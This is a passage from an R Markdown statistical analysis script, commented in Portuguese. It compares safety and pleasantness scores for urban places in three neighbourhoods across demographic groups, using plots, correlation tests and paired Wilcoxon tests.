#ggplot(novosDados, aes(y=V3.Casado, x=V3.Solteiro, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Solteiro")+ylab("QScore Casado")+geom_abline(intercept=0, colour="red")
hom <- dadosSub[(dadosSub$grupo == 'Casado'),]
mul <- dadosSub[(dadosSub$grupo == 'Solteiro'),]
temp <- rbind(hom, mul)
novosHomMul <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
novosHomMul$distancia <- novosHomMul$V3.Casado - novosHomMul$V3.Solteiro
novosHomMul <- novosHomMul[with(novosHomMul, order(-abs(distancia), V2)), ]
print(paste(novosHomMul[0:10,]$V2, " ", novosHomMul[0:10,]$bairro, " ", novosHomMul[0:10,]$distancia, " ", " ", novosHomMul[0:10,]$V3.Casado, " ", novosHomMul[0:10,]$V3.Solteiro, " ", novosHomMul[0:10,]$V1))
agrad <- novosDados[novosDados$V1 == "agradavel?",]
seg <- novosDados[novosDados$V1 == "seguro?",]
cor.test(agrad$V3.Solteiro, agrad$V3.Casado, method = "spearman")
cor.test(agrad$V3.Solteiro, agrad$V3.Casado, method = "pearson")
cor.test(agrad$V3.Solteiro, agrad$V3.Casado, method = "kendall")
cor.test(seg$V3.Solteiro, seg$V3.Casado, method = "spearman")
cor.test(seg$V3.Solteiro, seg$V3.Casado, method = "pearson")
cor.test(seg$V3.Solteiro, seg$V3.Casado, method = "kendall")
w = 10
h = 7
pdf("solXcas.pdf", width = w, height = h)
ggplot(novosDados, aes(y=V3.Solteiro, x=V3.Casado, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Married")+ylab("QScore Single")+geom_abline(intercept=0, colour="red")+scale_fill_manual(values = c("orange", "purple", "red"))+theme(axis.text=element_text(size=20), axis.title=element_text(size=20), legend.text = element_text(size=20), legend.title = element_text(size=20))+theme_bw()
dev.off()
```
##IC Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para casados e solteiros
dadosCeS <- dadosCopy[(dadosCopy$grupo == 'Casado' | dadosCopy$grupo == 'Solteiro') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'centro',]
dadosLiS <- dadosCopy[(dadosCopy$grupo == 'Casado' | dadosCopy$grupo == 'Solteiro') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'liberdade',]
dadosCaS <- dadosCopy[(dadosCopy$grupo == 'Casado' | dadosCopy$grupo == 'Solteiro') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'catole',]
dadosCeS$NV2 <- rep(c(1:39), each=2)
ggplot(dadosCeS, aes(reorder(NV2, V3), V3, colour=grupo, group=NV2)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + geom_line(colour="black") + theme_bw() + theme(axis.text=element_text(size=9), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16))
dadosLiS$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiS, aes(reorder(NV2, V3), V3, colour=grupo, group=NV2)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + geom_line(colour="black") + theme_bw()+ theme(axis.text=element_text(size=9), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16))
dadosCaS$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaS, aes(reorder(NV2, V3), V3, colour=grupo, group=NV2)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé")+ geom_line(colour="black") + theme_bw()+ theme(axis.text=element_text(size=9), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16))
#Nazareno
library(dplyr)
library(reshape2)
#dados <- read.table("geralRank.dat", header=TRUE)
dadosCopy2 <- dados
#Intervalo de confiança por ponto
# <nazareno> Não estou usando por agora.
qscoreSim <- dadosCopy2 [ c(4:103) ]
icData <- apply(qscoreSim, 1, ic)
dadosCopy2$distance <- icData
dadosCopy2 <- select(dadosCopy2, V2, V1, V3, grupo, bairro)
dados_pro_plot <- function(data, grupo1, grupo2, pergunta){
grupos_e_pergunta.index <- (data$grupo == grupo1 | dadosCopy2$grupo == grupo2) & dadosCopy2$V1==pergunta
dados_CS_S.l <- dadosCopy2[grupos_e_pergunta.index,]
names(dados_CS_S.l) <- c("Local", "Pergunta", "QScore", "grupo", "bairro")
# Qscore > rank
dados_CS_S.l <- dados_CS_S.l %>%
group_by(grupo) %>%
do(arrange(., desc(QScore))) %>%
group_by(grupo, bairro) %>%
mutate(rank = 1:n())
dados_CS_S.l$QScore <- NULL
# long to wide
dados_CS_S <- dcast(dados_CS_S.l, Local + bairro + Pergunta ~ grupo, value.var = "rank")
# ordenar e colocar indices (deve haver uma forma melhor)
dados_CS_S <- dados_CS_S %>%
group_by(bairro) %>%
do(arrange(., Casado)) %>%
group_by(bairro) %>%
mutate(index = 1:n())
# back to long
dados_CS_S.l <- melt(dados_CS_S, id.vars = names(dados_CS_S)[c(-4, -5)])
names(dados_CS_S.l)[5] <- "grupo"
names(dados_CS_S.l)[6] <- "rank"
dados_CS_S.l
}
facet_names_bairro <- list(
'catole?'="Catolé",
'liberdade'="Liberdade",
'centro' = "Centro"
)
facet_labeller_bairro <- function(variable,value){
return(facet_names_bairro[value])
}
grupo1 <- 'Casado'
grupo2 <- 'Solteiro'
pergunta <- 'seguro?'
osdados <- dados_pro_plot(dadosCopy2, grupo1, grupo2, pergunta)
osdados$bairro <- as.character(osdados$bairro)
osdados$bairro[osdados$bairro == "catole"] <- "Catolé"
osdados$bairro[osdados$bairro == "liberdade"] <- "Liberdade"
osdados$bairro[osdados$bairro == "centro"] <- "Centro"
w = 7
h = 8
pdf("casados-solteiros-seguro.pdf", width = w, height = h)
ggplot(osdados, aes(x=index, y = rank, colour=grupo, fill = grupo)) +
geom_point(alpha = 0.7, size=1.7) +
geom_line(aes(group = index), colour = "grey80") +
xlab("Local") +
ylab("Comparação de Rankings") +
scale_y_reverse(limits = c(39, 1)) +
facet_wrap( ~ bairro, ncol=1)+theme_bw() + theme(axis.text=element_text(size=16), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16), strip.text= element_text(size=16))
#scale_x_discrete(breaks=seq(1, 36, by=5))
dev.off()
grupo1 <- 'Casado'
grupo2 <- 'Solteiro'
pergunta <- 'agradavel?'
osdados <- dados_pro_plot(dadosCopy2, grupo1, grupo2, pergunta)
osdados$bairro <- as.character(osdados$bairro)
osdados$grupo <- as.character(osdados$grupo)
osdados$bairro[osdados$bairro == "catole"] <- "Catolé"
osdados$bairro[osdados$bairro == "liberdade"] <- "Liberdade"
osdados$bairro[osdados$bairro == "centro"] <- "Centro"
osdados$grupo[osdados$grupo == "Casado"] <- "Married"
osdados$grupo[osdados$grupo == "Solteiro"] <- "Single"
pdf("casados-solteiros-agradavel.pdf", width = w, height = h)
ggplot(osdados, aes(x=index, y = rank, colour=grupo, fill = grupo)) +
geom_point(alpha = 0.7, size=1.7) +
geom_line(aes(group = index), colour = "grey80") +
xlab("Place") +
ylab("Rankings Comparison") +
scale_y_reverse(limits = c(39, 1)) +
facet_wrap( ~ bairro, ncol=1)+theme_bw()+ theme(axis.text=element_text(size=16), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16), strip.text= element_text(size=16))
#scale_x_discrete(breaks=seq(1, 36, by=5))
dev.off()
```
##Wilcoxon Signed Ranked (Pareado) - Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosSC <- novosDados[novosDados$V1 == 'seguro?',]
wilcox.test(dadosSC$V3.Solteiro, dadosSC$V3.Casado, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosSC$V3.Solteiro, dadosSC$V3.Casado, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosSC$V3.Solteiro, dadosSC$V3.Casado, paired = TRUE, conf.int = TRUE, alternative = "g")
```
##IC Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para casados e solteiros
dadosCeA <- dadosCopy[(dadosCopy$grupo == 'Casado' | dadosCopy$grupo == 'Solteiro') & dadosCopy$V1=='agradavel?' & dadosCopy$bairro == 'centro',]
dadosCeA$bairro <- "Centro"
dadosLiA <- dadosCopy[(dadosCopy$grupo == 'Casado' | dadosCopy$grupo == 'Solteiro') & dadosCopy$V1=='agradavel?' & dadosCopy$bairro == 'liberdade',]
dadosLiA$bairro <- "Liberdade"
dadosCaA <- dadosCopy[(dadosCopy$grupo == 'Casado' | dadosCopy$grupo == 'Solteiro') & dadosCopy$V1=='agradavel?' & dadosCopy$bairro == 'catole',]
dadosCaA$bairro <- "Catolé"
dadosCeA$NV2 <- rep(c(1:39), each=2)
#dadosCeA$NV2 <- reorder(dadosCeA$V2, dadosCeA$V3)
ggplot(dadosCeA, aes(reorder(NV2, V3), V3, colour=grupo, group=NV2)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + geom_line(colour="black")+ theme_bw()+ theme(axis.text=element_text(size=9), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16))
dadosLiA$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiA, aes(reorder(NV2, V3), V3, colour=grupo, group=NV2)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + geom_line(colour="black")+ theme_bw()+ theme(axis.text=element_text(size=9), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16))
dadosCaA$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaA, aes(reorder(NV2, V3), V3, colour=grupo, group=NV2)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + geom_line(colour="black") + theme_bw()+ theme(axis.text=element_text(size=9), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16))
novo <- rbind(dadosCeA, dadosLiA, dadosCaA)
novo$grupo <- as.character(novo$grupo)
novo$grupo[novo$grupo == "Casado"] <- "Married"
novo$grupo[novo$grupo == "Solteiro"] <- "Single"
w = 7
h = 8
pdf("casados-solteiros-IC-agrad.pdf", width = w, height = h)
ggplot(novo, aes(reorder(NV2, V3), V3, colour=grupo, group=NV2)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Place") + ylab("QScore") + ggtitle("") + geom_line(colour="black") + theme_bw()+ theme(axis.text=element_text(size=9), axis.title=element_text(size=16), legend.text = element_text(size=16), legend.title = element_text(size=16), title = element_text(size=16), strip.text=element_text(size=16)) + facet_wrap(~bairro, ncol=1)
dev.off()
```
##Wilcoxon Signed Ranked (Pareado) - Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosSC <- novosDados[novosDados$V1 == 'agrad%C3%A1vel?',]
wilcox.test(dadosSC$V3.Solteiro, dadosSC$V3.Casado, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosSC$V3.Solteiro, dadosSC$V3.Casado, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosSC$V3.Solteiro, dadosSC$V3.Casado, paired = TRUE, conf.int = TRUE, alternative = "g")
```
#Media x Baixa
##Qscores x Qscores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
agrad <- novosDados[novosDados$V1 == "agradavel?",]
seg <- novosDados[novosDados$V1 == "seguro?",]
cor.test(agrad$V3.Baixa, agrad$V3.Media, method = "spearman")
cor.test(agrad$V3.Baixa, agrad$V3.Media, method = "pearson")
cor.test(agrad$V3.Baixa, agrad$V3.Media, method = "kendall")
cor.test(seg$V3.Baixa, seg$V3.Media, method = "spearman")
cor.test(seg$V3.Baixa, seg$V3.Media, method = "pearson")
cor.test(seg$V3.Baixa, seg$V3.Media, method = "kendall")
w = 10
h = 7
pdf("baiXmed.pdf", width = w, height = h)
ggplot(novosDados, aes(y=V3.Baixa, x=V3.Media, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore High income")+ylab("QScore Low income")+geom_abline(intercept=0, colour="red")+theme(axis.text=element_text(size=20), axis.title=element_text(size=20), legend.text = element_text(size=20), legend.title = element_text(size=20))+theme_bw()
dev.off()
hom <- dadosSub[(dadosSub$grupo == 'Media'),]
mul <- dadosSub[(dadosSub$grupo == 'Baixa'),]
temp <- rbind(hom, mul)
novosHomMul <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
novosHomMul$distancia <- novosHomMul$V3.Media - novosHomMul$V3.Baixa
novosHomMul <- novosHomMul[with(novosHomMul, order(-abs(distancia), V2)), ]
print(paste(novosHomMul[0:10,]$V2, " ", novosHomMul[0:10,]$bairro, " ", novosHomMul[0:10,]$distancia, " ", novosHomMul[0:10,]$V1))
```
##IC Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para baixa e media
dadosCeS <- dadosCopy[(dadosCopy$grupo == 'Media' | dadosCopy$grupo == 'Baixa') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'centro',]
dadosLiS <- dadosCopy[(dadosCopy$grupo == 'Media' | dadosCopy$grupo == 'Baixa') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'liberdade',]
dadosCaS <- dadosCopy[(dadosCopy$grupo == 'Media' | dadosCopy$grupo == 'Baixa') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'catole',]
dadosCeS$NV2 <- rep(c(1:40), each=2)
ggplot(dadosCeS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiS$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaS$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosMB <- novosDados[novosDados$V1 == 'seguro?',]
wilcox.test(dadosMB$V3.Media, dadosMB$V3.Baixa, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosMB$V3.Media, dadosMB$V3.Baixa, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosMB$V3.Media, dadosMB$V3.Baixa, paired = TRUE, conf.int = TRUE, alternative = "g")
```
##IC Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para baixa e media
dadosCeA <- dadosCopy[(dadosCopy$grupo == 'Media' | dadosCopy$grupo == 'Baixa') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'centro',]
dadosLiA <- dadosCopy[(dadosCopy$grupo == 'Media' | dadosCopy$grupo == 'Baixa') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'liberdade',]
dadosCaA <- dadosCopy[(dadosCopy$grupo == 'Media' | dadosCopy$grupo == 'Baixa') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'catole',]
dadosCeA$NV2 <- rep(c(1:40), each=2)
ggplot(dadosCeA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiA$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaA$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosMB <- novosDados[novosDados$V1 == 'agrad%C3%A1vel?',]
wilcox.test(dadosMB$V3.Media, dadosMB$V3.Baixa, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosMB$V3.Media, dadosMB$V3.Baixa, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosMB$V3.Media, dadosMB$V3.Baixa, paired = TRUE, conf.int = TRUE, alternative = "g")
```
#Jovem x Adulto
##QScores x QScores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
agrad <- novosDados[novosDados$V1 == "agradavel?",]
seg <- novosDados[novosDados$V1 == "seguro?",]
cor.test(agrad$V3.Jovem, agrad$V3.Adulto, method = "spearman")
cor.test(agrad$V3.Jovem, agrad$V3.Adulto, method = "pearson")
cor.test(agrad$V3.Jovem, agrad$V3.Adulto, method = "kendall")
cor.test(seg$V3.Jovem, seg$V3.Adulto, method = "spearman")
cor.test(seg$V3.Jovem, seg$V3.Adulto, method = "pearson")
cor.test(seg$V3.Jovem, seg$V3.Adulto, method = "kendall")
w = 10
h = 7
pdf("jovXadu.pdf", width = w, height = h)
ggplot(novosDados, aes(y=V3.Jovem, x=V3.Adulto, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Adult")+ylab("QScore Young")+geom_abline(intercept=0, colour="red")+theme(axis.text=element_text(size=20), axis.title=element_text(size=20), legend.text = element_text(size=20), legend.title = element_text(size=20))+theme_bw()
dev.off()
hom <- dadosSub[(dadosSub$grupo == 'Jovem'),]
mul <- dadosSub[(dadosSub$grupo == 'Adulto'),]
temp <- rbind(hom, mul)
novosHomMul <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
novosHomMul$distancia <- novosHomMul$V3.Jovem - novosHomMul$V3.Adulto
novosHomMul <- novosHomMul[with(novosHomMul, order(-abs(distancia), V2)), ]
print(paste(novosHomMul[0:10,]$V2, " ", novosHomMul[0:10,]$bairro, " ", novosHomMul[0:10,]$distancia, " ", novosHomMul[0:10,]$V1))
```
##IC Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para jovens e adultos
dadosCeS <- dadosCopy[(dadosCopy$grupo == 'Jovem' | dadosCopy$grupo == 'Adulto') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'centro',]
dadosLiS <- dadosCopy[(dadosCopy$grupo == 'Jovem' | dadosCopy$grupo == 'Adulto') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'liberdade',]
dadosCaS <- dadosCopy[(dadosCopy$grupo == 'Jovem' | dadosCopy$grupo == 'Adulto') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'catole',]
dadosCeS$NV2 <- rep(c(1:18), each=2)
ggplot(dadosCeS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiS$NV2 <- rep(c(1:35), each=2)
ggplot(dadosLiS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaS$NV2 <- rep(c(1:28), each=2)
ggplot(dadosCaS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosJA <- novosDados[novosDados$V1 == 'seguro?',]
wilcox.test(dadosJA$V3.Jovem, dadosJA$V3.Adulto, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosJA$V3.Jovem, dadosJA$V3.Adulto, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosJA$V3.Jovem, dadosJA$V3.Adulto, paired = TRUE, conf.int = TRUE, alternative = "g")
```
##IC Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para homens e mulheres
dadosCeA <- dadosCopy[(dadosCopy$grupo == 'Jovem' | dadosCopy$grupo == 'Adulto') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'centro',]
dadosLiA <- dadosCopy[(dadosCopy$grupo == 'Jovem' | dadosCopy$grupo == 'Adulto') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'liberdade',]
dadosCaA <- dadosCopy[(dadosCopy$grupo == 'Jovem' | dadosCopy$grupo == 'Adulto') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'catole',]
dadosCeA$NV2 <- rep(c(1:38), each=2)
ggplot(dadosCeA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiA$NV2 <- rep(c(1:34), each=2)
ggplot(dadosLiA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaA$NV2 <- rep(c(1:31), each=2)
ggplot(dadosCaA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosJA <- novosDados[novosDados$V1 == 'agrad%C3%A1vel?',]
wilcox.test(dadosJA$V3.Jovem, dadosJA$V3.Adulto, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosJA$V3.Jovem, dadosJA$V3.Adulto, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosJA$V3.Jovem, dadosJA$V3.Adulto, paired = TRUE, conf.int = TRUE, alternative = "g")
```
#Menor med x Maior Med
##QScores x QScores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
ggplot(novosDados, aes(y=V3.MenorMed, x=V3.MaiorMed, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Maior median")+ylab("QScore menor median")+geom_abline(intercept=0, colour="red")
hom <- dadosSub[(dadosSub$grupo == 'MenorMed'),]
mul <- dadosSub[(dadosSub$grupo == 'MaiorMed'),]
temp <- rbind(hom, mul)
novosHomMul <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
novosHomMul$distancia <- novosHomMul$V3.MenorMed - novosHomMul$V3.MaiorMed
novosHomMul <- novosHomMul[with(novosHomMul, order(-abs(distancia), V2)), ]
print(paste(novosHomMul[0:10,]$V2, " ", novosHomMul[0:10,]$bairro, " ", novosHomMul[0:10,]$distancia, " ", novosHomMul[0:10,]$V1))
```
##IC Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para jovens e adultos
dadosCeS <- dadosCopy[(dadosCopy$grupo == 'MenorMed' | dadosCopy$grupo == 'MaiorMed') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'centro',]
dadosLiS <- dadosCopy[(dadosCopy$grupo == 'MenorMed' | dadosCopy$grupo == 'MaiorMed') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'liberdade',]
dadosCaS <- dadosCopy[(dadosCopy$grupo == 'MenorMed' | dadosCopy$grupo == 'MaiorMed') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'catole',]
dadosCeS$NV2 <- rep(c(1:40), each=2)
ggplot(dadosCeS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiS$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaS$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosJA <- novosDados[novosDados$V1 == 'seguro?',]
wilcox.test(dadosJA$V3.MenorMed, dadosJA$V3.MaiorMed, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosJA$V3.MenorMed, dadosJA$V3.MaiorMed, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosJA$V3.MenorMed, dadosJA$V3.MaiorMed, paired = TRUE, conf.int = TRUE, alternative = "g")
```
##IC Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para homens e mulheres
dadosCeA <- dadosCopy[(dadosCopy$grupo == 'MenorMed' | dadosCopy$grupo == 'MaiorMed') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'centro',]
dadosLiA <- dadosCopy[(dadosCopy$grupo == 'MenorMed' | dadosCopy$grupo == 'MaiorMed') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'liberdade',]
dadosCaA <- dadosCopy[(dadosCopy$grupo == 'MenorMed' | dadosCopy$grupo == 'MaiorMed') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'catole',]
dadosCeA$NV2 <- rep(c(1:40), each=2)
ggplot(dadosCeA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiA$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaA$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosJA <- novosDados[novosDados$V1 == 'agrad%C3%A1vel?',]
wilcox.test(dadosJA$V3.MenorMed, dadosJA$V3.MaiorMed, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosJA$V3.MenorMed, dadosJA$V3.MaiorMed, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosJA$V3.MenorMed, dadosJA$V3.MaiorMed, paired = TRUE, conf.int = TRUE, alternative = "g")
```
#Medio x Pos
##QScores x QScores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
